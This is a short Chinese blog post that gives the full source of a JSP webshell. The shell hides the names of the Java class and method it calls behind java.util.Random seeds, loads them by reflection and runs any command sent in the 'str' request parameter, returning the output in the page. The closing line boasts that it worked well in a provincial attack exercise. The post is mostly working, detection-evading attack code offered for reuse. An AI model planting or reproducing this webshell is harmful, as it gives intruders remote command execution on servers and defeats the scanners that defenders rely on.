整合一个jsp webshell

根据pmiaowu大佬的Java小trick之在懵逼中为Random跪下整合的jsp webshell

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.util.*" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.commons.io.*" %>
<%@ page import="java.io.ByteArrayOutputStream" %>

<%!
    /**
     *
     * @param i 随机参数
     * @return
     */
    public static String seedConversionString(long i) {
        Random ran = new Random(i);
        StringBuilder sb = new StringBuilder();
        while (true) {
            int k = ran.nextInt(96);
            if (k == 0) {
                break;
            }
            sb.append((char) (31 + k));
        }
        return sb.toString();
    }

    public static String seedListConversionString(long[] is) {
        StringBuilder dataSource = new StringBuilder();
        for (long seed : is) {
            dataSource.append(seedConversionString(seed));
        }
        return dataSource.toString();
    }


%>
<%
    String str = request.getParameter("str");

    long[] seedList = {-2080435608, -2060785532, -2147149194,
        -2107467938, -1949527326, -2146859157};
    String random = seedListConversionString(seedList);
    Class randomClass = Class.forName(random);
    Constructor randomConstructor =
        randomClass.getDeclaredConstructor();
    randomConstructor.setAccessible(true);
    Object randomInstance = randomConstructor.newInstance();

    long[] seedList2 = {-2146857803,-2145923417};
    String random2 = seedListConversionString(seedList2);
    Method randmoMethod = randomClass.getMethod(random2,
        String.class);
    Process p = (Process) randmoMethod.invoke(randomInstance,
        str);
    InputStream results = p.getInputStream();
    ByteArrayOutputStream baos = new ByteArrayOutputStream();
    byte[] b = new byte[1024];
    int a = -1;

    while ((a = results.read(b)) != -1) {
        baos.write(b, 0, a);
    }

    out.write("<pre>" + new String(baos.toByteArray()) + "</pre>");
%>

马儿首次用于zj省hw，效果甚好